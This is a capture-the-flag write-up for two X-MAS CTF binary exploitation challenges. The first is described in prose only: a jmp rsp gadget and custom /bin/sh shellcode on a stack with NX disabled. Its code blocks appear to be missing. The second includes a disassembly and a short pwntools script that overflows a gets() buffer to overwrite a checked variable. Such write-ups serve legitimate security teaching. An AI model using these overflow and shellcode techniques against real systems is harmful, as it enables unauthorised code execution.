Overview

We receive a file called chall. NX is disabled, which is helpful. We inject shellcode, use a jmp rsp gadget and execute our own shellcode.

Decompilation

main() is a fairly simple binary:

The buffer is 48 bytes long. After the buffer there is 16-bit integer check, which acts as a canary. Then there are 8 bytes for the stored RBP. The total input it 71, meaning after the stored RBP we have 13 bytes of overflow, including the RIP. No ROP is possible.

Note that the value -6913 is actually 0xe4ff.

This was rather misleading as they gave you the LIBC.

Exploitation

Firstly:

Now we need some shellcode. pwntools' shellcraft.sh() is 2 bytes too long, so we'll have to make it manually.

The general payload is as follows:

• /bin/sh\x00 so we have it in a known location (relative to RSP)

• Shellcode

• Padding

Now we need to decide what shellcode we want to run. Well, since RSP points at the stack, we know that it will always be a static offset off our buffer. If we calculate it, we can just do

And execute the other half of our code! And at this point RSP will be exactly 8 bytes off /bin/sh\x00, so we can use it to populate RDI as well!

X-MAS{sant4_w1ll_f0rg1ve_y0u_th1s_y3ar}

If we disassemble, the solution is pretty clear.

[...]
|           0x55c00f08685d      4889c7         mov rdi, rax
│           0x55c00f086860      b800000000     mov eax, 0
│           0x55c00f086865      e846feffff     call sym.imp.gets
│           0x55c00f08686a      488b55f0       mov rdx, qword [var_10h]
│           0x55c00f08686e      b8efbeadde     mov eax, 0xdeadbeef
│           0x55c00f086873      4839c2         cmp rdx, rax
│       ┌─< 0x55c00f086876      7522           jne 0x55c00f08689a
│       │   0x55c00f086878      488d3de90000.  lea rdi, str.X_MAS_Fake_flag...
[...]

gets() is used to take in input, then the contents of another local variable are compared to 0xdeadbeef. Basic buffer overflow then overwrite a local variable:

from pwn import *

elf = context.binary = ELF('./chall')
p = remote('challs.xmas.htsp.ro', 2008)

payload = b'A' * 32
payload += p64(0xdeadbeef)

p.sendlineafter('you?\n', payload)
print(p.recvuntil('}'))

X-MAS{ah_yes__i_d0_rememb3r_you}